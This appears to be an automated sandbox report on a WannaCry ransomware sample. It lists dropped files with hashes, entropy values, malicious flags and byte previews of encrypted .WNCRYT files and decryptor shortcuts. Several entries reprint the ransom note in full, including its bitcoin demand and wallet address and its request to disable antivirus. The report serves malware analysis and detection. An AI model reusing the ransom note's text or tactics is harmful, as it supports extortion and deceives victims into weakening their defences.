                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):33048
                                                                                                                        Entropy (8bit):7.9946456049892465
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:9I62HaSEBJWsZ9RB7VHPfdnC01P1xIwkfBmSggK+wzFY48:y6qaS6YsFB7VH57pkfBJlw248
                                                                                                                        MD5:9E45008F8BE34B4C3B93B0B0D2B40C4F
                                                                                                                        SHA1:66CC8206802D277042D1A8D9E925F39EE798B998
                                                                                                                        SHA-256:530CB58AAD2C6F5DCD1D1B05184546DC4ED947FEC9818D551ADC30233990A57C
                                                                                                                        SHA-512:F70365864D48556F6E3F24F664B246003E5F862EAA4A584ABB33E02D2CAAA89E3A6D3087E02C832AFCB78B6F26F1B8D6A88D744D88708552872D7D82C3F96C6D
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......}glk.Fo.:?.2.^..$..}..m..\0..@Rk.B.Jyd.CG.R.......VR.m..E.~/'d.=+..a.m...N.^.J.9....Y.|e..V..a\....<R..b....m....h..T....i..Y)3.5P....n=..:..ja....=.5.?....oRq~..$_.....ASz.....jr.eG...W..8;..3...$H.K?'..... <.;....fl.GD..Y..iW.#.....]..S!................q.....T...9M_.J.Hn....l..`g.Q3Yg..p.....b8.Q*.G....?...1..B..f./....N.......#U.g.....kh.o.(e.M..V....2..:L..l.q.N.../u...X.v}..]d.i...3.#.o.{s.w.B..'>........%C.-...k..Vk.?.FsW._0..h!...../.xfX...b/)vcw.#......Wa..L8....y.h....._.....C.....f..7..\d.z.f..n.o.8....S...}..4..x...r.(>.....X.z.W..Q..=P...=..s...hvr....vM..2wu:cEe*..E.....+ .........*..C......~..Z...u..b.........Vv.Z...Z.....3...We../..1.]..y4..U..0.CH.h.4..5H...p.iOC.4......Sdh....#..JT..D......Jp...M..?l*D.()B..m?9 .p....u...|..%.P......A.`.k#.....|m...i..,:j.O.(....D_,.........2.(].....R..Q.l.....AW.....+..b.b.J{m8....4d.>.R..L...).......E..A0.....k..%.D...q....P.>.(c2exkp...k.?..hz..SG...z.....EL......e{..

                                                                                                                        C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):24856
                                                                                                                        Entropy (8bit):7.992391004413137
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:384:4ncAEA/hNU7PQmjHOi31yIF7XD3gbgbcDo7RYqdZmRaweo/1d7m3zJNr:4nhEAZuH7Xsy35eRawh/143zJNr
                                                                                                                        MD5:E30861DC13F2C9D4B63C552CB0C2E624
                                                                                                                        SHA1:ED0F2F2A9AA4CA8995BD21799FF0F0F7AE615712
                                                                                                                        SHA-256:41B10791D57BE2991C0D9444AFC102C6CE2D04E5AB91817B50AF04A468998B81
                                                                                                                        SHA-512:85FC3A732ED990CDFB298554DA1C89B868D763B4C7E7C60D2D04F6350F937E8942F03F668E309DE6B838B4CD8ED15550F9B89E6F54E694EF6ABFB6C96225D38B
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....M........h...r.)..f.<...y9C.. ..,+j...ACHQ...5...X..X..'..(.;..p..]...l~9.\(..]i.{.......#k.N.6j.I.8K...U...k.L.u./.O...8....p..I..3......8...v..EP..<i.h9T$n.....g....8.4.......9n{.....%ow...<......f.{..59.$3t...#.,.H..U.D....g2.....\r...JJ.....`......0...(..mM.jo.....7P...L..K..B...yb......-...}.C ]..[.%o:4......_d....O.-...:..[R..S^Yx...^......e..y....?*L.QB..Fz.....%...w8.j.h.W.i6.,.....W.>....=R.H..l.k.K....$..eBy.s.....\8.#?...*....ts.zV..m.f.af.].pV...:O.V.[.Kt..h......G...~..\....H...t.#.U.,E...RCk/F{.t..B8e.^..G|..<..rZ....p.....3.2.... |..9....G/.(.....]>..)V$V..r...d.rn.'......~...D=M"h%..l..u....<..o......&.....k.X..d..F.....y..p...Z...D{8.d/)..........Qq.....T........4...{...--k] .)q.{...m|ai.........j...F,.G...........8...e...n.6XJ..x..d-.....5FO.3....(..).|........@I.....!ay....~M5~;.9b<I.......V^a..-.._>)..-..e.!...pw...7.......<.'...i..K.>..5}.c#..`.Es.n.H../..7..5..3....Yj,b...U,..$p....;.%...y|.>*.}.......Y..M.@{....

                                                                                                                        C:\ProgramData\Microsoft\Diagnosis\osver.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.23347044688654
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEv/nB9DcPFZL6NtlHwQF4quZfQYVwvklJA8cCcSU03EAbLP7:bkEvfBanmt174quZDKvklJXD53E+LP7
                                                                                                                        MD5:4A57D00227FD1BF2C53713BE6A266B66
                                                                                                                        SHA1:CDDB65E5F4509B62500DE00AFF617DD90DC368DD
                                                                                                                        SHA-256:9138A3EEABA34105555F3F70A5B205BDC8EE40AA23A105FD4EADE9A67A7BF225
                                                                                                                        SHA-512:4E5FFEF7E068F2D17AD6F9D56CE3775494224393086AEB2A78EAD4502DF9BFDA080864A1B0A6803AEB2952F5A04613D6D9783529F98464B3FD00462E4745A8AE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.........D.....I..e..x...#s\...GH... ....S.@..%0.~.....-.Lq.GZ0WBm......{.hbv./... >+c.......;\..M..._..h./.(.OP._...f..3>e.)...C.....d.WI.........x.z.$me.w0W~..p.t...<a...]..G).....uS.N...%....4_......#...b|.=bO....8|x..3l..7...Rc.........5....y.............. .......G.%...

                                                                                                                        C:\ProgramData\Microsoft\Network\Downloader\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\ProgramData\Microsoft\Network\Downloader\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\ProgramData\Microsoft\Network\Downloader\qmgr.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1048856
                                                                                                                        Entropy (8bit):7.999829139302692
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:24576:QAVZ6B4JE3k1nhQ3XVO2FSW/5FWTcTlDS0lwvMJldd1iIK1HRtBOunU0M:QAn60X1hQ3nSW/DlKMJrd1iIK1H1Og9M
                                                                                                                        MD5:A5B76CF3E8B2311D8A618478A830F9C8
                                                                                                                        SHA1:5C47AE0B50CB0129557ACA5B4109CC7E48E787CA
                                                                                                                        SHA-256:8BAD233798E2CBA75AA05BB3461F7B1EC9721F7A93FA02D09157FBEBEF445015
                                                                                                                        SHA-512:E720214823BF6930345F31FFB296A961D73116F3D806435F61975E20AD90B69EF7EEB8542CB0DED306F71658A93D01A12D5C5B997011F728C0BE26B31B345557
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....V.-......bC...oR./........Z..$....6...x.9.a.s....y.T.\G..ZN.*..k.gb. .....9&..@..:bKL.......V^@..8p...2bE......,+`.,.r.A....]..:.:.x.:&T.'F..Wz...NF..[.*.-...W...p..JP....no..hGT].P...O.Z....qI1.?.....{.BF...-W..w6..Y..c{.C'e..h.7[...L4'>................E....|.N...\...6....\.....AC..F...cj.\.oS.6.....~..\........3(k.O.....{.."..RX.,.7z.4.>...VI.\3..2_.)................f..0...zC...%.z.9E.P.]..a.3\}..-}p.',>E'ylH..e.....@.P.`...~.I.|..c...~...m..4.`....8.#&..L..T...e,..@.....[]..5.....Y.,......}bE...K/.$M.....V....1...<-..y.M..x.Y..pE|..-U.........7.N..Ho`.....1.P..`&....:..K.(.3.1.....,..0X*...qE.p.f;.A.....f8...l..NK.Q..R..N.O...G.p6.i...V.O.@......:D>tvk/H....M3.c..$$y.=...O.....:.V.....K..{...n.`...P.t.;..i.:..5U.3...h.l.....!.........F..b.....b[D.v0:9.z.z.:..kx@....)......#......B'.6a...l.....0.N...u...7.{^..G.>.rC.:b.?z .aL.z..#....p$.S.A......Dw.17....@*.-`...!qC..DR....fms.)....-......9'F.pZ..O..i(I....J..XG.MI.

                                                                                                                        C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):25166104
                                                                                                                        Entropy (8bit):7.999992879476754
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:786432:LXR8F0Zxf0dUbuZcTqvivbCcgisZfvbisV5PXR:LXR82bvTqviTCchsZf/XPB
                                                                                                                        MD5:7704A11B0C85F067D08A062175AC6359
                                                                                                                        SHA1:7FF76D1EB8536A1C60995CAC4111BFC3B46A7354
                                                                                                                        SHA-256:8DE416596FDE19EFDCFB638346FE2A57016456CD04C84E7FA55AF171E33ADE18
                                                                                                                        SHA-512:99249B2C76D6F2072E1F0F4CB04B3AF510AB89E9049A2CC183ADD636279F3D0AAD1F0846250DA70D460EFE409F587B4F302D04EA1596F9EBF9BECB824D0ACEB9
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....6..b aZ.......X..B..E.p......M..8cc:.'.,...+.9...6..Tl.4X....{_.O9....4....O.G..:.....-h.K..V...C..P.6...._.jS.q...:XXI...n..u....T...>)Ou..v...k..R}..S..G........1%.,.F.....9Sx=..).2.2h....^~.~.v.6w...P..O..:.........2O........q6FR~L.hit.).............]..gM..7.......... .....0...~h./...`N...4..D.P.PC....DG.,a....B..mi.....<v..B.x|.......4..[6.d(.T.W...O..z....kg.;GP..;.l..3.P+?..W>.J 7..s..O.FQL.L>F<.Y.u.'p#..(!.Lz.L../.M$15.....}5..........V..i...>,..'.........S....J.F.Q.T.@aBR~..X.u......?..{....U...#.'............../.P...T.>..T... .~1..._..z........d'.Z{..^.dm0.S.ZE=....... ......t.v.."..I........K.<'....n......-+.G..y#.")h7x&b..D6>V.$...."v:..X.....c.p.8.cJ?.G...j..}../.....q.x.C...(@}.]S.X..!...S....SnWD......^#.*...(......6.r&2L....:*jEB.=K..w...I....#2K".E).....V7..w(GM.....5"..x...A&...*....Z..c.../....vA....x&../...f.p.]S..G;.s1A.[....H-....vn..g.0...x.5G...O!ZuK..Q|.S.....R.C.`...b..f.f[.HM.2.....J...."<U..K

                                                                                                                        C:\ProgramData\Microsoft\SmsRouter\MessageStore\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\ProgramData\Microsoft\SmsRouter\MessageStore\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):196888
                                                                                                                        Entropy (8bit):7.998998059524267
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:LNugbibQffFTIIHk+4FMwhwHWiGFHcSwV6/TFxz6eUnWY5WZCyg8rmHUZ:JLiE9sBVwHWirSFxz6qZCNYmHUZ
                                                                                                                        MD5:01C661CB640643C6790D32F4E3F3ADFC
                                                                                                                        SHA1:1FF2C0B1894079C30D4C2FE9D5529D374A6566F2
                                                                                                                        SHA-256:6D7B6191CE17678173F64A9A051BB919CC8EA8B7EF61ABAAE58FDA11F841131C
                                                                                                                        SHA-512:7EEFB3571DA8097B5E994D68CD8DB6A450AB069E0A7A122034C76EBAA699F1A01783F9FBFBCC73C640D9883AF0493F50E61F91D2D55323D357DC2943D51E6DAC
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......'.X..w.ZB..+....[..0T..v.....s.........o.i.:t^s....)7kp........_....8!.C..,+...{;.R.4....#.(=....wq..M;....5...(.hT....^.|.[.E.........nf....bJ].......-PF.....4~.."g.J..H.&...N...d.O...e...[z..w..\.U9...j.@..m.L...LS+..b#-.(....A*W./.v.d...............Ik....:.@u...sHlI((..p..h.X..?.+k...-s..BM.5.5Sw..?w...D.f..Jx....8.]_..e.O;$.Mp.....)"...h9.S.Z'..z..3.d'..%......r........5...%I...wn..H..3...1...{*dg.R.....).....O..!1..h......<.f....;..U.OvL.W.C...\.......M....!...*]f...Y[U.Z...h.'..7..c..`.]....@.....#.y..)...o)./.T....>..f.<.W.PG....]a.M`.....R%....<6..g.(#K-........{.........p..(...ff.....x....p...Iv}S.>...m...dv.H.....]g.I...iQ........c..r.....6......z.l.P.^.....$....2.y.3.G...9.../.3.1...9.)..u.D....^8..F..N~8.3[..P...Ma.r.d.X.+jS.u....e..I+...!.hLj..H..A.. .7n J...c..TR....D.SgAvH...:..n^al..s.h...S.3.],R.'c...e:..*.f"v*Wj8.....L.....J.3..RH$.R....$NCD..j1.)4._.I.w9..|v..h@..G. U"..|..!..Z..i'*....Wp......8.....

                                                                                                                        C:\ProgramData\Microsoft\UEV\Scripts\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\ProgramData\Microsoft\UEV\Scripts\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):904
                                                                                                                        Entropy (8bit):7.784543724432661
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bks3EiGsqF6yORpqNoH7wxifb58bWupW7Rx//xQp9:bkIGskOTqN68xKb58SuU/K/
                                                                                                                        MD5:0143ADF44D8BA496CC4502D077B16924
                                                                                                                        SHA1:A1D54DF700118A6A505A207922AD172D4B5FD3E6
                                                                                                                        SHA-256:64D78078FF4327B7364544BA22AF3FE6552B6574D3F61C740FB7420CA59345B7
                                                                                                                        SHA-512:4338DC8A9CB246A79122B497964A65E57B42FF99600425C907446CB06AA715919FEC05CE87B3345DE9733D61F4FBAC7897DE7001EBA0517DB7649ADA5079510A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....V..\.l....2...y;?._....|.H...U......74....d+.....'...s.?..nj<..?/.......]p.[K^......W.d.h.'+[...).*7...g. .....y.~.b..}j?.T.}.....%T.C.....'.+D..9..R.(.3y7...l/...>Hp=u......,.Yp=..>~... .e...U.E...6.BF.8......pu.Uy6Z...&.Z.M.....KE...(b.+\....c..............l%....:r9.....G.....S|...K..#h.)$..l?XD.n....=..:.....).F..N.dg5..................^4.F.?8O./.b.=. .e.?..V...=~...,.U..^.E.nLBJ.uR.M...'Ok'#.`../A%. {.....W....6..w.0.G..........4..)..(|m...%...16..A...@.d.....;....9....[a6..pa..C..f....I..+....U..1XO...x....s.iGA~.1....g_..'.....^..6*...5NN....P......t.8...*.{M.U...B^.5^.."z..*;%.4V?..B5T..f.5...~...d..Z...F.LN......V.[[)..d_"...?.{.g..2....I...|.m.U..|....xV.....].J97......0..,....UV.w......yeBg|....e...^1z.LV.L..!j..<.x.r.....[;..S.t.....+..v.b...$.....9XG..u.AE.#[9#...^.f.sE.Y........={..#........6..L.n8@...F./O.q.e....@.

                                                                                                                        C:\ProgramData\Microsoft\User Account Pictures\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\ProgramData\Microsoft\User Account Pictures\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):602456
                                                                                                                        Entropy (8bit):7.999715132573279
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:K1V9LU304Hn/pzxKM0M2u6W54jdN0THDbb0W:Qs304xzxKTM2u6WjAW
                                                                                                                        MD5:6C5E37A620B44A6E14DECD23C83F6FDF
                                                                                                                        SHA1:4D58554238550BDD3079E583787ECF7954742D82
                                                                                                                        SHA-256:5E35E8046E6198AC1E799817226DD6EC1555FC9658E43813D8577ACC2E4B10EC
